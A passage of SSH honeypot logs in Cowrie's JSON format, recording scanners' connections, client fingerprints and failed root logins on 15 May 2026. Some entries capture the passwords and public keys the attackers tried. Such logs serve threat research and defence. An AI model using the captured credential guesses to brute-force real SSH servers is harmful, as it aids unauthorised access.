25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:26.087936Z","src_ip":"109.91.4.177","session":"7b72bbc91ea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123123.","message":"login attempt [root/a123123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:26.560334Z","src_ip":"109.91.4.177","session":"7b72bbc91ea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:26.871569Z","src_ip":"103.27.238.116","session":"a7918f04c04e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:27.675437Z","src_ip":"109.91.4.177","session":"7b72bbc91ea8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.107.215.7","src_port":42132,"dst_ip":"10.17.0.5","dst_port":22,"session":"c69bb462f8f1","protocol":"ssh","message":"New connection: 46.107.215.7:42132 (10.17.0.5:22) [session: c69bb462f8f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:27.718059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:27.725204Z","src_ip":"46.107.215.7","session":"c69bb462f8f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:27.842885Z","src_ip":"46.107.215.7","session":"c69bb462f8f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:b6:da:63:3a:bb:51:b4:77:5a:49:19:26:3e:f1:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnv9PW1lPEE8rkzIBNE961x/jr1Syv4sYBV0SljlLfptbhNJYgedl6gysCXG0zxhXGoyE9N7xfaXFVo9C/b34ADGwqIGDWF3My8wezd1RClEXcAUQWdv17GbwDbrSawKPoZ+oIyLE08eW34solqlUEUokpKhA7SXDBbttWtL+/YiTk1jJhgzzb88KD/NmX3pcnQtX1gekavO8cBk9ZhtSDnDDMSvqNqANf+9r7zeSwUWzPlHIJJiDx3Q8HX21iqsO9Sb08QSmvx/41SJVJzoRn7F8Q16xxR4Uju/+BE8ItRFvzDJCfuer0KX/m+E6sdsZgEQiwzLDmY+JgdmHKQkov","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:b6:da:63:3a:bb:51:b4:77:5a:49:19:26:3e:f1:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:28.401140Z","src_ip":"46.107.215.7","session":"c69bb462f8f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:b6:da:63:3a:bb:51:b4:77:5a:49:19:26:3e:f1:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnv9PW1lPEE8rkzIBNE961x/jr1Syv4sYBV0SljlLfptbhNJYgedl6gysCXG0zxhXGoyE9N7xfaXFVo9C/b34ADGwqIGDWF3My8wezd1RClEXcAUQWdv17GbwDbrSawKPoZ+oIyLE08eW34solqlUEUokpKhA7SXDBbttWtL+/YiTk1jJhgzzb88KD/NmX3pcnQtX1gekavO8cBk9ZhtSDnDDMSvqNqANf+9r7zeSwUWzPlHIJJiDx3Q8HX21iqsO9Sb08QSmvx/41SJVJzoRn7F8Q16xxR4Uju/+BE8ItRFvzDJCfuer0KX/m+E6sdsZgEQiwzLDmY+JgdmHKQkov","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:28.406198Z","src_ip":"46.107.215.7","session":"c69bb462f8f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:0f:5b:97:0d:3c:e1:a9:39:86:e4:29:90:f0:74:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0PyHiLsbHvT98QqELLGNeVd6vT8CcPGpGx7a2IcUOJ0igFw615IM2xg95rq5HBnZ/FsSaK1ibRkPgwsyEbbFbt0+4MW5VZ7nhtVmhY/QqzOqyYaqqqBZceSiqhlcUST8pjUCcpRyIvmjaEG108/aAF/kFVy6eg7fj/SM51UO+tHehzZkw/WxzpHJAiaIGiSOgYWCa8JjdEQWsf1j2LF62pw+gc1uQ5Tv7nHhg/g4kgXSD4iHTDGv9d302CbwFXKCO09Vt5AxImcbTkBpy8L/eKTo3TJeB7isxNcPjyIU2eOIdro2S+TYRkzWfN0+KXGmcT7iAh4Vk2B0VQIT/NqDjQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:0f:5b:97:0d:3c:e1:a9:39:86:e4:29:90:f0:74:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:28.524817Z","src_ip":"46.107.215.7","session":"c69bb462f8f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:0f:5b:97:0d:3c:e1:a9:39:86:e4:29:90:f0:74:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0PyHiLsbHvT98QqELLGNeVd6vT8CcPGpGx7a2IcUOJ0igFw615IM2xg95rq5HBnZ/FsSaK1ibRkPgwsyEbbFbt0+4MW5VZ7nhtVmhY/QqzOqyYaqqqBZceSiqhlcUST8pjUCcpRyIvmjaEG108/aAF/kFVy6eg7fj/SM51UO+tHehzZkw/WxzpHJAiaIGiSOgYWCa8JjdEQWsf1j2LF62pw+gc1uQ5Tv7nHhg/g4kgXSD4iHTDGv9d302CbwFXKCO09Vt5AxImcbTkBpy8L/eKTo3TJeB7isxNcPjyIU2eOIdro2S+TYRkzWfN0+KXGmcT7iAh4Vk2B0VQIT/NqDjQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:28.528859Z","src_ip":"46.107.215.7","session":"c69bb462f8f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:aa:2a:c1:ef:82:74:3c:ed:50:69:a4:5b:78:14:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCu27s9n0gIav1g5nB6whhu4ndPeKxkBvXk5r+Lq4vBJtLH4PllN450DjTddeztzpduWhKYjg0srzVPAft1iuKv7cskWsgOR3KfWR8eTMn0mJhyDjBfLhxBuSqNc25LmreBGzgMekAba1G1IZXwlTJSLXstf9/6Xc8pqThsdzRMAJvFhTsEGRn0koz1lhoB+W4oUvaksBAWMc+Eigr6AbUYClHDuBJ03mUX4s3feBP9eyYmZNbIQ0Yor6IsBdOthEH2dUnJIPsK0CnrgVhNg7/reV5BilTbx5Qc7bAyLJvBJUf1x49kmeKwkoOJSstCsaUdkR5H94Lr2isk2X7kQNV4rWyRpIh7x9lh8st+HYT6WXdYag3IwTR7RsWtIzApRpCxDdl4EeP4UBOEz77Yodf5o0k/x0onVS5srvBl5PQA1KSFi7lYex7nTz54lEcZzrkuTMD53G/UtxsBWuu+5OIlPeoU/AZ39lyoBqILXmlGGtQ9IaWDn+JKPBtxMsXLcjpL07aFI4Rs0C8JfTwQqqBBN0aVhtpngx3ch7zD7sRzWOFIsSXT0QU7lHiEMqWSLlHYlok7Gk02emXPUqNhPU+NhMCdb+DaztqO3Em17npepR4rrpjkB5WwBTIs6eJ6NNt2uh/lfEB9xfJThdwRpmYGhy8X9xHhiU7lyTe5wVOpjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:aa:2a:c1:ef:82:74:3c:ed:50:69:a4:5b:78:14:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:28.645090Z","src_ip":"46.107.215.7","session":"c69bb462f8f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:aa:2a:c1:ef:82:74:3c:ed:50:69:a4:5b:78:14:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCu27s9n0gIav1g5nB6whhu4ndPeKxkBvXk5r+Lq4vBJtLH4PllN450DjTddeztzpduWhKYjg0srzVPAft1iuKv7cskWsgOR3KfWR8eTMn0mJhyDjBfLhxBuSqNc25LmreBGzgMekAba1G1IZXwlTJSLXstf9/6Xc8pqThsdzRMAJvFhTsEGRn0koz1lhoB+W4oUvaksBAWMc+Eigr6AbUYClHDuBJ03mUX4s3feBP9eyYmZNbIQ0Yor6IsBdOthEH2dUnJIPsK0CnrgVhNg7/reV5BilTbx5Qc7bAyLJvBJUf1x49kmeKwkoOJSstCsaUdkR5H94Lr2isk2X7kQNV4rWyRpIh7x9lh8st+HYT6WXdYag3IwTR7RsWtIzApRpCxDdl4EeP4UBOEz77Yodf5o0k/x0onVS5srvBl5PQA1KSFi7lYex7nTz54lEcZzrkuTMD53G/UtxsBWuu+5OIlPeoU/AZ39lyoBqILXmlGGtQ9IaWDn+JKPBtxMsXLcjpL07aFI4Rs0C8JfTwQqqBBN0aVhtpngx3ch7zD7sRzWOFIsSXT0QU7lHiEMqWSLlHYlok7Gk02emXPUqNhPU+NhMCdb+DaztqO3Em17npepR4rrpjkB5WwBTIs6eJ6NNt2uh/lfEB9xfJThdwRpmYGhy8X9xHhiU7lyTe5wVOpjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:28.650360Z","src_ip":"46.107.215.7","session":"c69bb462f8f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:cf:95:3a:9d:fb:5e:38:92:15:36:b0:5f:0c:02:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCe2JHwIqwHAzXL4KbDHF+hPp+snYyDslG44eft6kmBBbxJWfoELVrt3e3bx1sF0ZeMhW5GkyCZptmxRs0/XcdOaHc/d6YaMoxMHuZ54cdlitTt8nqIV+nQfRW+Xg/0kDEDW9ySbhQ+IrsgUF/czBqSiZKun3eyDRYA30KdZyv49+fz9TN14FKu7kk3lo/Rr+llANJB7LbYDXzXOxqxfeME3/QZqQ45S7Q4l1Z5ZP6g9BEUHUx4BRRUgmGHS5g2nObaxyAS7gxxVi1QPdeEMGXFn7HcaZQ6ShJLzdpSgm7zv26jd3DBIjY+jxateLkmSxLr1twnRikfPMIyWBgdaKAEd95N7qbc6WBWIQTXJxGmZYoEoeMAZKOPjMfnLLQJTf8lCTvNhoEYfqMMLcVZVUScNzCS2ZAiaZs67gEtVXW8sl/54FP3XKNy3DFev4sNTBEUvNSrNS9rBQdXOe4nhPl5Xa5ufs2cAe2qB8LxPgYc2JMQk77wXoZUOK9XrSBjAqumlhIdYi8p977/twhSZ8xVyHhDrQOtzSV+fiANNfvdjCmkDHCj1w8sWCzNZ4Wt5HCLOjGnJ/mymqPO1km04JESSTeSQhEIXqIFG3j4GDqeep4xJoUrhYIUIoVC/OSV/hrIi0Er6S0jT4Fa/5HrEGvrlzsZMeeob7vE9tk6HiduGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:cf:95:3a:9d:fb:5e:38:92:15:36:b0:5f:0c:02:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:28.767058Z","src_ip":"46.107.215.7","session":"c69bb462f8f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:cf:95:3a:9d:fb:5e:38:92:15:36:b0:5f:0c:02:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCe2JHwIqwHAzXL4KbDHF+hPp+snYyDslG44eft6kmBBbxJWfoELVrt3e3bx1sF0ZeMhW5GkyCZptmxRs0/XcdOaHc/d6YaMoxMHuZ54cdlitTt8nqIV+nQfRW+Xg/0kDEDW9ySbhQ+IrsgUF/czBqSiZKun3eyDRYA30KdZyv49+fz9TN14FKu7kk3lo/Rr+llANJB7LbYDXzXOxqxfeME3/QZqQ45S7Q4l1Z5ZP6g9BEUHUx4BRRUgmGHS5g2nObaxyAS7gxxVi1QPdeEMGXFn7HcaZQ6ShJLzdpSgm7zv26jd3DBIjY+jxateLkmSxLr1twnRikfPMIyWBgdaKAEd95N7qbc6WBWIQTXJxGmZYoEoeMAZKOPjMfnLLQJTf8lCTvNhoEYfqMMLcVZVUScNzCS2ZAiaZs67gEtVXW8sl/54FP3XKNy3DFev4sNTBEUvNSrNS9rBQdXOe4nhPl5Xa5ufs2cAe2qB8LxPgYc2JMQk77wXoZUOK9XrSBjAqumlhIdYi8p977/twhSZ8xVyHhDrQOtzSV+fiANNfvdjCmkDHCj1w8sWCzNZ4Wt5HCLOjGnJ/mymqPO1km04JESSTeSQhEIXqIFG3j4GDqeep4xJoUrhYIUIoVC/OSV/hrIi0Er6S0jT4Fa/5HrEGvrlzsZMeeob7vE9tk6HiduGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:28.771134Z","src_ip":"46.107.215.7","session":"c69bb462f8f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:4f:78:ea:23:48:c9:0c:b3:84:cf:00:f8:07:90:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQ15m9ZA74yNgvNjafSWu3D8OJBuNdkgxw8LJFchCsn7WCcNjUCnWsMK92LcHjV3YBPe1X4xnZdaemwmjw2ZhtmKlwVA8FWN8RggtyRFwwsq9kYHPz97NSfyQLi+zgOj1LFRlRC9pBnwF9m9AOksbrJ10xMkqty+fqEOOBbL9+fdHAluGohKHARUELWhdB1HAUER19VIQGzUF4G7fP3P02gafcHPybzM5M57Tc0+KCCcGag0CKM0XGPqm3FPqB1MeokCLUPCYjLijMxS6wCOcjVVgXi2pkBYMOVYxJsnBWb9i5Y8A5HxsLbo7dJLrDFePa0evyTL1lWAgFYtcyz9e1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:4f:78:ea:23:48:c9:0c:b3:84:cf:00:f8:07:90:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:28.888694Z","src_ip":"46.107.215.7","session":"c69bb462f8f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:4f:78:ea:23:48:c9:0c:b3:84:cf:00:f8:07:90:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQ15m9ZA74yNgvNjafSWu3D8OJBuNdkgxw8LJFchCsn7WCcNjUCnWsMK92LcHjV3YBPe1X4xnZdaemwmjw2ZhtmKlwVA8FWN8RggtyRFwwsq9kYHPz97NSfyQLi+zgOj1LFRlRC9pBnwF9m9AOksbrJ10xMkqty+fqEOOBbL9+fdHAluGohKHARUELWhdB1HAUER19VIQGzUF4G7fP3P02gafcHPybzM5M57Tc0+KCCcGag0CKM0XGPqm3FPqB1MeokCLUPCYjLijMxS6wCOcjVVgXi2pkBYMOVYxJsnBWb9i5Y8A5HxsLbo7dJLrDFePa0evyTL1lWAgFYtcyz9e1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:28.892581Z","src_ip":"46.107.215.7","session":"c69bb462f8f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:29.011770Z","src_ip":"46.107.215.7","session":"c69bb462f8f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.118","src_port":47580,"dst_ip":"10.17.0.5","dst_port":22,"session":"2698638cd796","protocol":"ssh","message":"New connection: 103.27.238.118:47580 (10.17.0.5:22) [session: 2698638cd796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:30.070241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:30.077401Z","src_ip":"103.27.238.118","session":"2698638cd796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:30.346253Z","src_ip":"103.27.238.118","session":"2698638cd796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:31.418586Z","src_ip":"103.27.238.118","session":"2698638cd796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:32.723533Z","src_ip":"103.27.238.118","session":"2698638cd796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.176.142","src_port":60570,"dst_ip":"10.17.0.5","dst_port":22,"session":"52ea9c967956","protocol":"ssh","message":"New connection: 31.42.176.142:60570 (10.17.0.5:22) [session: 52ea9c967956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:34.601525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:34.606367Z","src_ip":"31.42.176.142","session":"52ea9c967956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:34.695558Z","src_ip":"31.42.176.142","session":"52ea9c967956","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:21:a9:9a:15:b1:a4:ba:b9:1d:da:e9:c1:69:b6:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0dKvh0sFy/831EemPmWzvVTHQH8W2SZdzAujSrxR85I5/FGlxklL5VyCwLftUn2A1Uqc2442YB8X/9IjppHqwFTxrDj9m2ZzAf5L/SZghc72l7BrFNvehy2w3etNDFUoe8s2cxiYekpt3nBzfX/gzE71nlwULE8cdgWw7IT4gKsmw0oabUoIzWsAow9CYAL4dxUjMGRSBh7y8xGdEm0S8wOOjDTtOZfLHef0Cr/WubyWi0qiPsVutJImkZkSwnrRPm4/hbuqHGibN5nkq2NX2E/HqtmcHse5EyK4kScflS8WRaif97LF82SaEYjiTDuy5j9u/EjSGuyW9VivxJeYQgOKnXCRtBZ9tRvLL+yrkMMPn/TaMxhWC1oF+MoTRxhYUALLZRr4A2ed6x+SNJWhTEohfm9Bn/cJUZZ4iprEFa4vkr5oSJ+KiOvxrymQsNIAHLECIyzTqW9YUmntZCJqGbn3IUX9EJrXsE6IYujR2ZXJzt1O1X2Y8s7Kxs8JFNZc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:21:a9:9a:15:b1:a4:ba:b9:1d:da:e9:c1:69:b6:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:35.107924Z","src_ip":"31.42.176.142","session":"52ea9c967956","protocol":"ssh"}
